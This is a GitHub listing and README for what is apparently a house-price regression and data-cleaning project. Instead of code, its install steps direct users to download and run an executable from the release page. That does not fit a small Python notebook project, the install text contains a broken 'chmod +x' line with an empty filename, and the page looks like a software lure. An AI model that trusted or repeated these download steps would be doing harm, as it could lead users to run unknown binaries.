https://github.com/erick957/saleprice-prediction-dataset-analysis-and-cleaning-advance-regression
🏠 Predict house prices using advanced regression techniques with this comprehensive analysis and cleaning project, from data loading to model deployment.
https://github.com/erick957/saleprice-prediction-dataset-analysis-and-cleaning-advance-regression
data-analysis data-science eda google-colab machine-learning numpy pandas python scikit-learn scikit-learn-python
Last synced: about 2 months ago
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🏠 Predict house prices using advanced regression techniques with this comprehensive analysis and cleaning project, from data loading to model deployment.
- Host: GitHub
- URL: https://github.com/erick957/saleprice-prediction-dataset-analysis-and-cleaning-advance-regression
- Owner: erick957
- Created: 2025-09-28T08:50:18.000Z (about 2 months ago)
- Default Branch: main
- Last Pushed: 2025-09-28T16:11:05.000Z (about 2 months ago)
- Last Synced: 2025-09-28T18:12:51.135Z (about 2 months ago)
- Topics: data-analysis, data-science, eda, google-colab, machine-learning, numpy, pandas, python, scikit-learn, scikit-learn-python
- Size: 5.86 KB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
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README
# 🎉 saleprice-prediction-dataset-analysis-and-cleaning-advance-regression - Effortless Data Cleaning for Your Projects
[](https://github.com/erick957/saleprice-prediction-dataset-analysis-and-cleaning-advance-regression/releases)
## 📚 Description
This project cleans data for the sale price prediction model. By using advanced regression techniques, it prepares datasets for effective analysis.
You can also explore the project in Google Colab by following this [link](https://colab.research.google.com/drive/1vQY-XEFJSdEkW2PQOSf1j13Yk8L-XXNw?usp=sharing).
## 🚀 Getting Started
These steps will help you download and run the software easily.
### 🖥️ System Requirements
- **Operating System:** Windows 10 or later, macOS, or Linux
- **Processor:** Minimum Intel i3 or equivalent
- **Memory:** At least 4 GB RAM
- **Storage:** Minimum 500 MB of free space
### 📥 Download & Install
1. **Visit the Release Page:**
Click the link below to go to the Release page where you can download the latest version.
[Visit this page to download](https://github.com/erick957/saleprice-prediction-dataset-analysis-and-cleaning-advance-regression/releases)
2. **Select the Latest Version:**
You will see a list of available versions. Choose the latest version recommended by the developers.
3. **Download the File:**
Click on the correct file for your operating system. The download will start automatically.
4. **Locate the Downloaded File:**
Open your Downloads folder and find the file you just downloaded.
5. **Install the Software:**
- For Windows: Double-click the `.exe` file and follow the installation instructions.
- For macOS: Drag and drop the application into your Applications folder. Open it from there.
- For Linux: You may need to give permissions to the downloaded file. Open a terminal and run:
```
chmod +x
```
Replace `` with your actual file name, then run the application.
6. **Run the Application:**
After installation, locate the application in your program list and start it.
## 🌟 Features
- **Data Cleaning:** Automatically removes anomalies and duplicates from your datasets.
- **Visualizations:** Offers tools to visualize data insights effectively.
- **User-Friendly Interface:** Intuitive design makes it easy for non-technical users.
## 📊 Topics
The project incorporates various areas of knowledge:
- Algorithms
- Data Analysis
- Data Science
- Exploratory Data Analysis (EDA)
- Google Colab
- Machine Learning
- NumPy
- Pandas
- Python
- Scikit-Learn
## 🔧 Troubleshooting
If you encounter any issues, consider the following:
- Ensure your operating system meets the requirements.
- Check for any software updates.
- Look for documentation or FAQs provided on the GitHub page.
## 💬 Contributing
If you would like to contribute, please open an issue on the GitHub repository or submit a pull request. Your input is valuable.
## 🔗 Links
- [Project Release Page](https://github.com/erick957/saleprice-prediction-dataset-analysis-and-cleaning-advance-regression/releases)
- [Google Colab Link](https://colab.research.google.com/drive/1vQY-XEFJSdEkW2PQOSf1j13Yk8L-XXNw?usp=sharing)
Thank you for your interest in the project! Enjoy cleaning your data.